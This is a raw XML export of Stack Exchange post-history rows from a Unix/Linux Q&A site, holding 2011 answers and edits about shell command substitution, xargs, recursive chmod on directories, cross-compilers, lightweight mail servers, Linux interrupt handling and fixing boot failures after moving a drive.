  <row Id="13264" PostHistoryTypeId="2" PostId="5882" RevisionGUID="a582066a-8031-4e35-a9ee-ece1938e7294" CreationDate="2011-01-14T20:31:31.187" UserId="1165" Text="I like to to use the back ticks ` (Its on the same key as the ~)&#xD;&#xA;&#xD;&#xA;    &gt; vim `find . -name somefile.txt`&#xD;&#xA;&#xD;&#xA;The back ticks executes the command inside the ticks and the output can then be used by the command. The above will find all files somefile.txt thus allowing you to use `:next` to move through all the files.&#xD;&#xA;&#xD;&#xA;Its very usefull if you spend a couple of tries refining the command, because you can then use history substitution to repeat the command for the editor.&#xD;&#xA;&#xD;&#xA;    &gt; find . -name somefile.txt&#xD;&#xA;    ./debug/somefile.txt&#xD;&#xA;    ./somefile.txt&#xD;&#xA;    &gt; vi `!!`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13265" PostHistoryTypeId="2" PostId="5883" RevisionGUID="320dc744-5ad1-438c-a74c-445630a9d1a4" CreationDate="2011-01-14T20:32:13.433" UserId="481" Text="You can add a launcher to the panel by right clicking on a free area on the panel and selecting &quot;Add to panel&quot; and then &quot;Custom Application Launcher&quot; (or if the application is already present in the applications menu, you can select &quot;Application Launcher&quot; and then select the application from the menu).&#xD;&#xA;&#xD;&#xA;You can add an entry into the applications menu by right clicking on it and selecting &quot;Edit menu&quot;." />
  <row Id="13269" PostHistoryTypeId="2" PostId="5884" RevisionGUID="a51fa64b-ca42-4056-bc92-636ed2144b81" CreationDate="2011-01-14T21:18:44.463" UserId="3824" Text="On debian, there are apt-cross and dpkg-cross from emdebian.org&#xD;&#xA;&#xD;&#xA;You can also create toolchain using [crosstool-ng][1] which is not link to a distribution&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ymorin.is-a-geek.org/projects/crosstool" />
  <row Id="13270" PostHistoryTypeId="5" PostId="5782" RevisionGUID="18815bd5-5e42-4b3b-8f6b-9800bc698347" CreationDate="2011-01-14T21:22:22.170" UserId="3069" Comment="deleted 3 characters in body" Text="The old-style backquotes `` ` ` `` do treat backslashes and nesting a bit different. The new-style `$()` interprets everything in between `( )` as a command.&#xD;&#xA;&#xD;&#xA;    echo $(uname | $(echo cat))&#xD;&#xA;    Linux&#xD;&#xA;&#xD;&#xA;    echo `uname | `echo cat``&#xD;&#xA;    bash: command substitution: line 2: syntax error: unexpected end of file&#xD;&#xA;    echo cat&#xD;&#xA;&#xD;&#xA;works if the nested backquotes are escaped:&#xD;&#xA;&#xD;&#xA;    echo `uname | \`echo cat\``&#xD;&#xA;    Linux&#xD;&#xA;&#xD;&#xA;backslash fun:&#xD;&#xA;&#xD;&#xA;    echo $(echo '\\')&#xD;&#xA;    \\&#xD;&#xA;&#xD;&#xA;    echo `echo '\\'`&#xD;&#xA;    \&#xD;&#xA;&#xD;&#xA;The new-style `$()` applies to all [POSIX][1]-conformant shells.  &#xD;&#xA;As [mouviciel][2] pointed out, old-style `` ` ` `` might be necessary for older shells.&#xD;&#xA;&#xD;&#xA;Apart from the technical point of view, the old-style `` ` ` `` has also a visual disadvantage:&#xD;&#xA;&#xD;&#xA; - Hard to notice: ``I like $(program) better than `program` ``&#xD;&#xA; - Easily confused with a single quote: ``'`'`''`''`'`''`'``&#xD;&#xA; - Not so easy to type (maybe not even on the standard layout of the keyboard)&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&lt;sub&gt;(and SE uses `` ` ` `` for own purpose, it was a pain writing this answer :)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_06_03&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/5778/whats-the-difference-between-stuff-and-stuff/5793#5793" />
  <row Id="13271" PostHistoryTypeId="2" PostId="5885" RevisionGUID="98d16ddf-c16e-47c0-a843-d71be6d81394" CreationDate="2011-01-14T21:59:20.590" UserId="885" Text="If you don't mind running the command again: press &lt;kbd&gt;Up&lt;/kbd&gt; and append an `xargs` command. Or use history substitution and run&#xD;&#xA;&#xD;&#xA;    !! | xargs vim          # won't work with file names containing \'&quot; or whitespace&#xD;&#xA;    !! | xargs -d \\n vim   # GNU only (Linux, Cygwin)&#xD;&#xA;&#xD;&#xA;There's a lightweight way of saving the output of a command that works in ksh and zsh but not in bash (it requires the output side of a pipeline to be executed in the parent shell). Pipe the command into the function `K` (zsh definition below), which &lt;strong&gt;k&lt;/strong&gt;eeps its output in the variable `$K`.&#xD;&#xA;&#xD;&#xA;    function K {&#xD;&#xA;        K=(&quot;${(@f)$(tee /dev/fd/3)}&quot;) 3&gt;&amp;1;&#xD;&#xA;    }&#xD;&#xA;    find … |K&#xD;&#xA;    vim $K&#xD;&#xA;&#xD;&#xA;Automatically saving the output of each command is not really possible with the shell alone, you need to run the command in an emulated terminal. You can do it by running inside [`script`](http://www.freebsd.org/cgi/man.cgi?query=script&amp;apropos=0&amp;sektion=1&amp;manpath=FreeBSD+8.1-RELEASE&amp;format=html) (a BSD utility, but available on most unices including Linux and Solaris), which saves all output of your session through a file (there's still a bit of effort needed to reliably detect the last prompt in the typescript).&#xD;&#xA;" />
  <row Id="13272" PostHistoryTypeId="6" PostId="5875" RevisionGUID="8f7f46cc-7ff7-4ef3-92d3-0aaa4d7bf21f" CreationDate="2011-01-14T22:03:08.717" UserId="885" Comment="edited tags" Text="éubuntuàégnomeàédesktopà" />
  <row Id="13273" PostHistoryTypeId="5" PostId="5884" RevisionGUID="5b633bb4-dcab-44c0-8c0a-de8088807238" CreationDate="2011-01-14T22:13:16.663" UserId="885" Comment="added emdebian link; added Ubuntu info" Text="On Debian, there are apt-cross and dpkg-cross from [Emdebian](http://www.emdebian.org/), which let you set up cross-compilation for many architectures (you get cross-compilers and libraries).&#xD;&#xA;&#xD;&#xA;On Ubuntu, there's a [crosschain for ARM](https://launchpad.net/~hrw/+related-software), and a [project to improve on this](https://blueprints.launchpad.net/ubuntu/+spec/other-linaro-n-cross-compilers).&#xD;&#xA;&#xD;&#xA;You can also create toolchain using [crosstool-ng][1] which is not link to a distribution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ymorin.is-a-geek.org/projects/crosstool" />
  <row Id="13274" PostHistoryTypeId="5" PostId="5874" RevisionGUID="6b1594e5-2aac-4ca5-9696-f0d75eed89df" CreationDate="2011-01-14T22:21:15.737" UserId="885" Comment="formatting; incorporated Shawn's comment; added warning about quoting" Text="Although you can probably do this whole thing with find command only you can try appending `|xargs rm -f` to that command.&#xD;&#xA;&#xD;&#xA;Here's what it would look like&#xD;&#xA;&#xD;&#xA;    find . -print | grep php | xargs grep 'eval' -sl | \&#xD;&#xA;        xargs wc -l | grep ' [1-2][0-9] ' | \&#xD;&#xA;        cut -f 2 -d ' ' | xargs rm -f&#xD;&#xA;&#xD;&#xA;Note that the `xargs rm` command works here because you know there aren't any special characters in the file names. If there might be spaces in the file names, you can use `xargs -d '\n' rm -f` (Linux only).&#xD;&#xA;" />
  <row Id="13275" PostHistoryTypeId="6" PostId="5873" RevisionGUID="12f57a36-9a18-4aa7-b237-4392a6c366cb" CreationDate="2011-01-14T22:21:55.860" UserId="885" Comment="edited tags" Text="éshellàéfindàétextöprocessingàéxargsà" />
  <row Id="13276" PostHistoryTypeId="6" PostId="5869" RevisionGUID="1c4387d0-58b4-459e-b79c-a6e4f8612c7d" CreationDate="2011-01-14T22:23:04.690" UserId="885" Comment="edited tags" Text="ébashàéscriptingàéioöredirectionà" />
  <row Id="13277" PostHistoryTypeId="6" PostId="5853" RevisionGUID="a53fe640-14f4-41e0-8d61-7a6bd873326c" CreationDate="2011-01-14T22:33:55.633" UserId="885" Comment="edited tags" Text="élinuxàénetworkingàéipàépingà" />
  <row Id="13278" PostHistoryTypeId="10" PostId="5771" RevisionGUID="047d5858-c274-4deb-b53e-d3c0c4a02b51" CreationDate="2011-01-14T22:38:45.133" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="13279" PostHistoryTypeId="5" PostId="5771" RevisionGUID="0e3c6558-ebea-4a30-ad03-82c3a0d37f30" CreationDate="2011-01-14T22:38:45.257" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Lightweight outgoing SMTP server](http://unix.stackexchange.com/questions/1449/lightweight-outgoing-smtp-server)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am looking for a minimal mail solution (MTA) for a headless server which generate e-mails for local users and and fully qualified addresses from cron-jobs, etc.&#xD;&#xA;Ideally all mails to local user `foo` should be mapped to `foo@mydomain`, with possible modifications for `uid`&lt;1024, and sent off to an external smtp server without involving `/var/mail`.&#xD;&#xA;&#xD;&#xA;Some years ago, I used [sSMTP][ssmtp] for a similar task, and I was wondering if this is still the way ahead? Also, how much of the default debian mail system should/could I remove?&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;**Update** Ended up Googling a bit, and the obvious candidates seem to be  &#xD;&#xA;&#xD;&#xA; - [sSMTP][ssmtp]: Not actively developed &#xD;&#xA; - [eSMTP][esmtp]: Not actively developed according to home page&#xD;&#xA; - [mSMTP][msmtp]: Recommended in front of sSMTP at http://www.scottro.net/qnd/qnd-ssmtp.html&#xD;&#xA; - [nullmailer][null]: Suggested by Gilles&#xD;&#xA;&#xD;&#xA;Even though [eSMTP][esmtp] is not developed anymore, it seems to have the nicest documentation. It doesn't quite fit my needs though, at it seems to insist on delivering mail to local user `foo` via a Mail Delivery Agent (MDA) instead of pushing it out over smtp to `foo@some.domain`. Or maybe it does do the mapping if I add `qualify_domain` to the config. Might have to try it out...   &#xD;&#xA;[nullmailer][null] appears to be running a queue in `/var`, which is not something I want.&#xD;&#xA;&#xD;&#xA;Does anybody have experience with any of these?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [ssmtp]: http://linux.die.net/man/8/ssmtp&#xD;&#xA;  [esmtp]: http://esmtp.sourceforge.net/&#xD;&#xA;  [msmtp]: http://linux.die.net/man/1/msmtp&#xD;&#xA;  [null]:  http://untroubled.org/nullmailer/" />
  <row Id="13280" PostHistoryTypeId="6" PostId="5881" RevisionGUID="03ec9d0e-a854-4feb-aa44-fa14143f745a" CreationDate="2011-01-14T22:43:11.083" UserId="885" Comment="edited tags" Text="éwifiàéinternetàéipàémeasureà" />
  <row Id="13281" PostHistoryTypeId="5" PostId="5859" RevisionGUID="f03c851f-015e-425d-b7c9-53b7ef1b5426" CreationDate="2011-01-14T22:50:23.120" UserId="73" Comment="deleted 20 characters in body" Text="The user does have permission as the permission is set to 755&#xD;&#xA;The problem is that the user doesn't know of the environment variables needed.&#xD;&#xA;Try using bash instead and see if it picks them up then. Otherwise, set them up manually&#xD;&#xA;&#xD;&#xA;Start troubleshooting by running the script using the `/bin/sh` shell. You should get the same error then.&#xD;&#xA;" />
  <row Id="13282" PostHistoryTypeId="25" PostId="5875" RevisionGUID="d321e617-f3de-4e81-907c-824350d619dc" CreationDate="2011-01-14T22:55:34.923" Comment="http://twitter.com/#!/StackUnix/status/26049816937107456" />
  <row Id="13283" PostHistoryTypeId="2" PostId="5886" RevisionGUID="e00fe094-158c-4c59-8fcf-90f154617bbf" CreationDate="2011-01-14T23:28:34.073" UserId="3069" Text="&lt;sub&gt;Gilles already [described][1] the general case of an interrupt, the following applies specifically to Linux 2.6 on an Intel architecture (part of this is also based on Intel's specifications).&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;An interrupt is an event that changes the sequence of instructions executed by the processor.  &#xD;&#xA;There are two different kinds of interrupts:&#xD;&#xA;&#xD;&#xA; - **Synchronous interrupt (Exception)** produced by the CPU while processing instructions&#xD;&#xA; - **Asynchronous interrupt (Interrupt)** issued by other hardware devices&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Exceptions are caused by programming errors (f.e. *Divide error*, *Page Fault*, *Overflow*) that must be handled by the kernel. He sends a signal to the program and tries to recover from the error.&#xD;&#xA;&#xD;&#xA;The following two exceptions are classified:&#xD;&#xA;&#xD;&#xA; - **Processor-detected exception** generated by the CPU while detecting a anomalous condition; divided into three groups: *Faults* can generally be corrected, *Traps* report an execution, *Aborts* are serious errors.&#xD;&#xA; - **Programmed exception** requested by the programmer, handled like a trap.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Interrupts can be issued by I/O devices (keyboard, network adapter, ..), interval timers and (on multiprocessor systems) other CPUs. When an interrupt occures, the CPU must stop his current instruction and execute the newly arrived interrupt. He needs to save the old interrupted process state to (probably) resume it after the interrupt is handled.  &#xD;&#xA;&#xD;&#xA;Handling interrupts is a sensitive task:&#xD;&#xA;&#xD;&#xA; - Interrupts can occur at any time, the kernel tries to get it out of the way as soon as possible&#xD;&#xA; - An interrupt can be interrupted by another interrupt&#xD;&#xA; - There are regions in the kernel which must not be interrupted at all&#xD;&#xA;&#xD;&#xA;Two different interrupt levels are defined:&#xD;&#xA;&#xD;&#xA; - **Maskable interrupts** issued by I/O devices; can be in two states, masked or unmasked. Only unmasked interrupts are getting processed.&#xD;&#xA; - **Nonmaskable interrupts**; critical malfunctions (f.e. hardware failure); always processed by the CPU.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Every hardware device has it's own Interrupt Request (IRQ) line. The IRQs are numbered starting from 0. All IRQ lines are connected to a Programmable Interrupt Controller (PIC). The PIC listens on IRQs and assigns them to the CPU. It is also possible to disable a specific IRQ line.  &#xD;&#xA;Modern multiprocessing Linux systems generally include the newer Advanced PIC (APIC), which distributes IRQ requests equally between the CPUs.&#xD;&#xA;&#xD;&#xA;The mid-step between an interrupt or exception and the handling of it is the Interrupt Descriptor Table (IDT). This table associates each interrupt or exception vector (a number) with a specified handler (f.e. *Divide error* gets handled by the function `divide_error()`).&#xD;&#xA;&#xD;&#xA;Through the IDT, the kernel knows exactly how to handle the occurred interrupt or exception.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5788/how-is-an-interrupt-handled-in-linux/5816#5816" />
  <row Id="13284" PostHistoryTypeId="5" PostId="5886" RevisionGUID="1efe4dcc-23b8-4316-af26-83cf714278d9" CreationDate="2011-01-14T23:41:07.443" UserId="3069" Comment="added 466 characters in body" Text="&lt;sub&gt;Gilles already [described][1] the general case of an interrupt, the following applies specifically to Linux 2.6 on an Intel architecture (part of this is also based on Intel's specifications).&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;An interrupt is an event that changes the sequence of instructions executed by the processor.  &#xD;&#xA;There are two different kinds of interrupts:&#xD;&#xA;&#xD;&#xA; - **Synchronous interrupt (Exception)** produced by the CPU while processing instructions&#xD;&#xA; - **Asynchronous interrupt (Interrupt)** issued by other hardware devices&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Exceptions are caused by programming errors (f.e. *Divide error*, *Page Fault*, *Overflow*) that must be handled by the kernel. He sends a signal to the program and tries to recover from the error.&#xD;&#xA;&#xD;&#xA;The following two exceptions are classified:&#xD;&#xA;&#xD;&#xA; - **Processor-detected exception** generated by the CPU while detecting a anomalous condition; divided into three groups: *Faults* can generally be corrected, *Traps* report an execution, *Aborts* are serious errors.&#xD;&#xA; - **Programmed exception** requested by the programmer, handled like a trap.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Interrupts can be issued by I/O devices (keyboard, network adapter, ..), interval timers and (on multiprocessor systems) other CPUs. When an interrupt occures, the CPU must stop his current instruction and execute the newly arrived interrupt. He needs to save the old interrupted process state to (probably) resume it after the interrupt is handled.  &#xD;&#xA;&#xD;&#xA;Handling interrupts is a sensitive task:&#xD;&#xA;&#xD;&#xA; - Interrupts can occur at any time, the kernel tries to get it out of the way as soon as possible&#xD;&#xA; - An interrupt can be interrupted by another interrupt&#xD;&#xA; - There are regions in the kernel which must not be interrupted at all&#xD;&#xA;&#xD;&#xA;Two different interrupt levels are defined:&#xD;&#xA;&#xD;&#xA; - **Maskable interrupts** issued by I/O devices; can be in two states, masked or unmasked. Only unmasked interrupts are getting processed.&#xD;&#xA; - **Nonmaskable interrupts**; critical malfunctions (f.e. hardware failure); always processed by the CPU.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Every hardware device has it's own Interrupt Request (IRQ) line. The IRQs are numbered starting from 0. All IRQ lines are connected to a Programmable Interrupt Controller (PIC). The PIC listens on IRQs and assigns them to the CPU. It is also possible to disable a specific IRQ line.  &#xD;&#xA;Modern multiprocessing Linux systems generally include the newer Advanced PIC (APIC), which distributes IRQ requests equally between the CPUs.&#xD;&#xA;&#xD;&#xA;The mid-step between an interrupt or exception and the handling of it is the Interrupt Descriptor Table (IDT). This table associates each interrupt or exception vector (a number) with a specified handler (f.e. *Divide error* gets handled by the function `divide_error()`).&#xD;&#xA;&#xD;&#xA;Through the IDT, the kernel knows exactly how to handle the occurred interrupt or exception.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;So, what does the kernel when an interrupt occurres?&#xD;&#xA;&#xD;&#xA; - The CPU checks after each instruction if there's a IRQ from the (A)PIC&#xD;&#xA; - If so, consults the IDT to map the received vector to a function&#xD;&#xA; - Checks if the interrupt was issued by a authorized source&#xD;&#xA; - Saves the registers of the interrupted process&#xD;&#xA; - Call the according function to handle the interrupt&#xD;&#xA; - Load the recently saved registers of the interrupted process and try to resume it&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5788/how-is-an-interrupt-handled-in-linux/5816#5816" />
  <row Id="13285" PostHistoryTypeId="2" PostId="5887" RevisionGUID="34425068-1d59-47dd-bef7-a8fcc05c2f01" CreationDate="2011-01-14T23:51:20.830" UserId="3811" Text="I have an existing Dell Precision 690 workstation setup to dual boot Windows XP and CentOS 5.5. These operating systems are installed on two separate drives. I have a grub menu on the Linux drive with it set as drive 1 and points to the windows boot info on drive 2.&#xD;&#xA;&#xD;&#xA;I tried taking the linux drive and installing it in a new HP Z800 workstation to see if I could be lucky enough to get it to boot, but it didn't. Immediately after it starts to boot I get a few errors.&#xD;&#xA;&#xD;&#xA;Here is what the system shows:&#xD;&#xA;&#xD;&#xA;Right after this message &quot;Red Hat nash version 5.1.19.6 starting&quot; I get the following lines:&#xD;&#xA;&#xD;&#xA;&quot;Unable to access resume device (LABEL=SWAP-sda2)&#xD;&#xA;mount: could not find filesystem '/dev/root'&#xD;&#xA;setuproot: moving /dev failed: No such file or directory&#xD;&#xA;setuproot: error mounting /proc: No such file or directory&#xD;&#xA;setuproot: error mounting /sys: No such file or directory&#xD;&#xA;switchroot: mount failed: No such file or directory&#xD;&#xA;Kernel panic - not syncing: Attempted to kill init!&#xD;&#xA;&#xD;&#xA;Is there something I can tweak to get this to possibly boot? I'd really like to not have to reload CentOS 5.5 and the specialized software on this machine.&#xD;&#xA;&#xD;&#xA;I do have a grub menu setup on this drive, could this by chance be my problem? The drives in the old machine are setup with Linux as drive 1, and Windows as Drive 2, and the Linux drive hosts the grub menu allowing me to boot to Linux or Windows. Could this some how be the problem?&#xD;&#xA;&#xD;&#xA;I do know of a way around this with Windows: install a secondary HDD controller card in the machine, install the drivers, hooked up drive to controller in old machine and make sure it boots, move the drive and controller to the new machine and boot off it, load the motherboard drivers (specifically the hdd controller drivers) and then you can take out the controller card, connect the hdd directly to the motherboard and you're set. This same thing is probably accomplish able in Linux, but I'm not sure. This might be a last ditch effort to try if nothing else works.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="13286" PostHistoryTypeId="1" PostId="5887" RevisionGUID="34425068-1d59-47dd-bef7-a8fcc05c2f01" CreationDate="2011-01-14T23:51:20.830" UserId="3811" Text="Getting an existing Linux installation from one computer to boot on another" />
  <row Id="13287" PostHistoryTypeId="3" PostId="5887" RevisionGUID="34425068-1d59-47dd-bef7-a8fcc05c2f01" CreationDate="2011-01-14T23:51:20.830" UserId="3811" Text="élinuxàébootàégrubàécentosàédualöbootà" />
  <row Id="13288" PostHistoryTypeId="2" PostId="5888" RevisionGUID="9eb6c0dc-35b6-4f1e-b326-a2e1c9daa4ca" CreationDate="2011-01-14T23:54:35.317" UserId="2119" Text="After I apply chmod -R to a directory, this changes permissions for everything within, but I'd need to affect only directories (to add x to them). How to acheive this?" />
  <row Id="13289" PostHistoryTypeId="1" PostId="5888" RevisionGUID="9eb6c0dc-35b6-4f1e-b326-a2e1c9daa4ca" CreationDate="2011-01-14T23:54:35.317" UserId="2119" Text="How to apply recursive chmod only to directories (leaving files unchanged)?" />
  <row Id="13290" PostHistoryTypeId="3" PostId="5888" RevisionGUID="9eb6c0dc-35b6-4f1e-b326-a2e1c9daa4ca" CreationDate="2011-01-14T23:54:35.317" UserId="2119" Text="échmodà" />
  <row Id="13291" PostHistoryTypeId="5" PostId="5888" RevisionGUID="c15d794d-e272-439f-9b16-259ca1076913" CreationDate="2011-01-15T00:00:11.693" UserId="73" Comment="added 8 characters in body; edited title" Text="After I apply `chmod -R` to a directory, permissions are changed for everything within (files and directories). How can I change only directories, without modifying the files?" />
  <row Id="13292" PostHistoryTypeId="4" PostId="5888" RevisionGUID="c15d794d-e272-439f-9b16-259ca1076913" CreationDate="2011-01-15T00:00:11.693" UserId="73" Comment="added 8 characters in body; edited title" Text="How to apply recursively chmod directories without affecting files?" />
  <row Id="13293" PostHistoryTypeId="2" PostId="5889" RevisionGUID="d306a542-3573-4d50-9e1a-3ec1b9188d6b" CreationDate="2011-01-15T00:03:00.440" UserId="3613" Text="You can use *find*.&#xD;&#xA;&#xD;&#xA;    find ./ -type d -exec chmod 750 {} \;&#xD;&#xA;&#xD;&#xA;Where 750 is the mode you'd like to apply and &quot;./&quot; is the directory you will recursively search." />
  <row Id="13294" PostHistoryTypeId="2" PostId="5890" RevisionGUID="65dbb894-1c91-47fc-944f-bedc68f6abb1" CreationDate="2011-01-15T00:05:38.433" UserId="481" Text="In this particular case you can use `X` instead of `x` which only adds the bits to directories or files which already have the executable bit set for some user (i.e. `chmod -R +X my_dir`).&#xD;&#xA;&#xD;&#xA;In general (e.g. if you wanted to make all directories readable without affecting the files), you could either use `find` with `-type d` or if you're using `zsh` the `**/` glob (both without passing the `-R` flag to `chmod`)." />
  <row Id="13295" PostHistoryTypeId="2" PostId="5891" RevisionGUID="f32939cd-dbbc-4f42-8eda-c16999c3eb76" CreationDate="2011-01-15T00:06:14.367" UserId="885" Text="If you get this far, it means the bootloader loaded the kernel and initrd/initramfs successfully, but the kernel is not finding the root device. So you should be able to boot by passing something like `root=/dev/sda42` on the kernel command line.&#xD;&#xA;&#xD;&#xA;At the Grub prompt, edit the entry for Linux, and look for the line that begins with `linux`. On that line, there should be a parameter that looks like `root=/dev/sda42`. Change it to `root=/dev/sdb42`, i.e. a different drive. The current letter might not be `a`, and the letter that works might not be `b`, though if you have two drives you'll probably just need to swap `sdb` for `sda` or vice versa.&#xD;&#xA;&#xD;&#xA;The order of the drive letters in Linux is unrelated (or at least not directly related) to the order in the BIOS, in Grub or in Windows (it depends on the order in which the drivers are loaded). (There are ways around this, but they won't help you right now.)&#xD;&#xA;&#xD;&#xA;When you boot, you might get errors if entries in `/etc/fstab` don't match the current disk device names. If you're not able to get to a repair console, reboot and (in addition to the `root=` change) add `init=/bin/sh` to drop directly to a shell, then run&#xD;&#xA;&#xD;&#xA;    mount /proc&#xD;&#xA;    mount -o remount,rw /&#xD;&#xA;    vi /etc/fstab    # or whatever your favorite editor is&#xD;&#xA;" />
  <row Id="13299" PostHistoryTypeId="5" PostId="5890" RevisionGUID="c7802756-94ca-4199-840d-56cb0a77dce3" CreationDate="2011-01-15T00:11:32.157" UserId="481" Comment="added 35 characters in body" Text="In this particular case you can use `X` instead of `x` which only adds the bits to directories or files which already have the executable bit set for some user (i.e. `chmod -R +X my_dir`).&#xD;&#xA;&#xD;&#xA;In general (e.g. if you wanted to make all directories readable without affecting the files), you could either use `find` with `-type d` or if you're using zsh (or bash 4 with `shopt -s globstar`) the `**/` glob (both without passing the `-R` flag to `chmod`)." />
  <row Id="13300" PostHistoryTypeId="5" PostId="5889" RevisionGUID="e4a0a185-5a9c-4af2-82aa-a8a78acf4f58" CreationDate="2011-01-15T00:13:39.977" UserId="3613" Comment="added 117 characters in body; deleted 10 characters in body" Text="You can use *find*.&#xD;&#xA;&#xD;&#xA;    find ./ -type d -execdir chmod 750 {} +&#xD;&#xA;&#xD;&#xA;Where 750 is the mode you'd like to apply and &quot;./&quot; is the directory you will recursively search.&#xD;&#xA;&#xD;&#xA;**EDIT**: Thanks to @Gilles and *find(1)*, I've revised this for additional security and performance." />
  <row Id="13302" PostHistoryTypeId="5" PostId="5887" RevisionGUID="c8dcb96a-a8a2-4b8b-b4a9-06da29e95630" CreationDate="2011-01-15T00:19:38.033" UserId="3811" Comment="added 5 characters in body; added 30 characters in body" Text="I have an existing Dell Precision 690 workstation setup to dual boot Windows XP and CentOS 5.5. These operating systems are installed on two separate drives. I have a grub menu on the Linux drive with it set as drive 1 and points to the windows boot info on drive 2.&#xD;&#xA;&#xD;&#xA;I tried taking the linux drive and installing it in a new HP Z800 workstation to see if I could be lucky enough to get it to boot, but it didn't. Immediately after it starts to boot I get a few errors.&#xD;&#xA;&#xD;&#xA;Here is what the system shows:&#xD;&#xA;&#xD;&#xA;Right after this message &quot;Red Hat nash version 5.1.19.6 starting&quot; I get the following lines:&#xD;&#xA;&#xD;&#xA;&quot;Unable to access resume device (LABEL=SWAP-sda2)&lt;br/&gt;&#xD;&#xA;mount: could not find filesystem '/dev/root'&lt;br/&gt;&#xD;&#xA;setuproot: moving /dev failed: No such file or directory&lt;br/&gt;&#xD;&#xA;setuproot: error mounting /proc: No such file or directory&lt;br/&gt;&#xD;&#xA;setuproot: error mounting /sys: No such file or directory&lt;br/&gt;&#xD;&#xA;switchroot: mount failed: No such file or directory&lt;br/&gt;&#xD;&#xA;Kernel panic - not syncing: Attempted to kill init!&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;Is there something I can tweak to get this to possibly boot? I'd really like to not have to reload CentOS 5.5 and the specialized software on this machine.&#xD;&#xA;&#xD;&#xA;I do have a grub menu setup on this drive, could this by chance be my problem? The drives in the old machine are setup with Linux as drive 1, and Windows as Drive 2, and the Linux drive hosts the grub menu allowing me to boot to Linux or Windows. Could this some how be the problem?&#xD;&#xA;&#xD;&#xA;I do know of a way around this with Windows: install a secondary HDD controller card in the machine, install the drivers, hooked up drive to controller in old machine and make sure it boots, move the drive and controller to the new machine and boot off it, load the motherboard drivers (specifically the hdd controller drivers) and then you can take out the controller card, connect the hdd directly to the motherboard and you're set. This same thing is probably accomplish able in Linux, but I'm not sure. This might be a last ditch effort to try if nothing else works.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="13304" PostHistoryTypeId="5" PostId="5887" RevisionGUID="295ef4ab-7c02-4c01-9295-989f0cd6aea2" CreationDate="2011-01-15T00:28:48.917" UserId="885" Comment="four spaces at the beginning of the line is what you're looking for, see http://unix.stackexchange.com/markdown" Text="I have an existing Dell Precision 690 workstation setup to dual boot Windows XP and CentOS 5.5. These operating systems are installed on two separate drives. I have a grub menu on the Linux drive with it set as drive 1 and points to the windows boot info on drive 2.&#xD;&#xA;&#xD;&#xA;I tried taking the linux drive and installing it in a new HP Z800 workstation to see if I could be lucky enough to get it to boot, but it didn't. Immediately after it starts to boot I get a few errors.&#xD;&#xA;&#xD;&#xA;Here is what the system shows:&#xD;&#xA;&#xD;&#xA;Right after this message `Red Hat nash version 5.1.19.6 starting` I get the following lines:&#xD;&#xA;&#xD;&#xA;    Unable to access resume device (LABEL=SWAP-sda2)&#xD;&#xA;    mount: could not find filesystem '/dev/root'&#xD;&#xA;    setuproot: moving /dev failed: No such file or directory&#xD;&#xA;    setuproot: error mounting /proc: No such file or directory&#xD;&#xA;    setuproot: error mounting /sys: No such file or directory&#xD;&#xA;    switchroot: mount failed: No such file or directory&#xD;&#xA;    Kernel panic - not syncing: Attempted to kill init!&#xD;&#xA;&#xD;&#xA;Is there something I can tweak to get this to possibly boot? I'd really like to not have to reload CentOS 5.5 and the specialized software on this machine.&#xD;&#xA;&#xD;&#xA;I do have a grub menu setup on this drive, could this by chance be my problem? The drives in the old machine are setup with Linux as drive 1, and Windows as Drive 2, and the Linux drive hosts the grub menu allowing me to boot to Linux or Windows. Could this some how be the problem?&#xD;&#xA;&#xD;&#xA;I do know of a way around this with Windows: install a secondary HDD controller card in the machine, install the drivers, hooked up drive to controller in old machine and make sure it boots, move the drive and controller to the new machine and boot off it, load the motherboard drivers (specifically the hdd controller drivers) and then you can take out the controller card, connect the hdd directly to the motherboard and you're set. This same thing is probably accomplish able in Linux, but I'm not sure. This might be a last ditch effort to try if nothing else works.&#xD;&#xA;" />
  <row Id="13305" PostHistoryTypeId="2" PostId="5893" RevisionGUID="5c97590f-4012-47a0-be11-ff3d42b54949" CreationDate="2011-01-15T00:39:47.777" UserId="1209" Text="Maybe setup [smokeping](http://oss.oetiker.ch/smokeping/) on the Linux side, and point it at your AP?&#xD;&#xA;&#xD;&#xA;Smokeping will periodically (configurable) send -20 pings at the same time, and then graph how how many returned and the range of times that they returned in.  If you have a lot of dropped packets, or the really wide range, then you should be concerned.&#xD;&#xA;&#xD;&#xA;![Smokeping Graph][1]&#xD;&#xA;&#xD;&#xA;If you want to run smokeping you could use [fping][2], which is what Smokeping is calling to collect the data.  It is a lot easier to interpret with the graph though.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/uzgkT.png&#xD;&#xA;  [2]: http://linux.die.net/man/8/fping" />
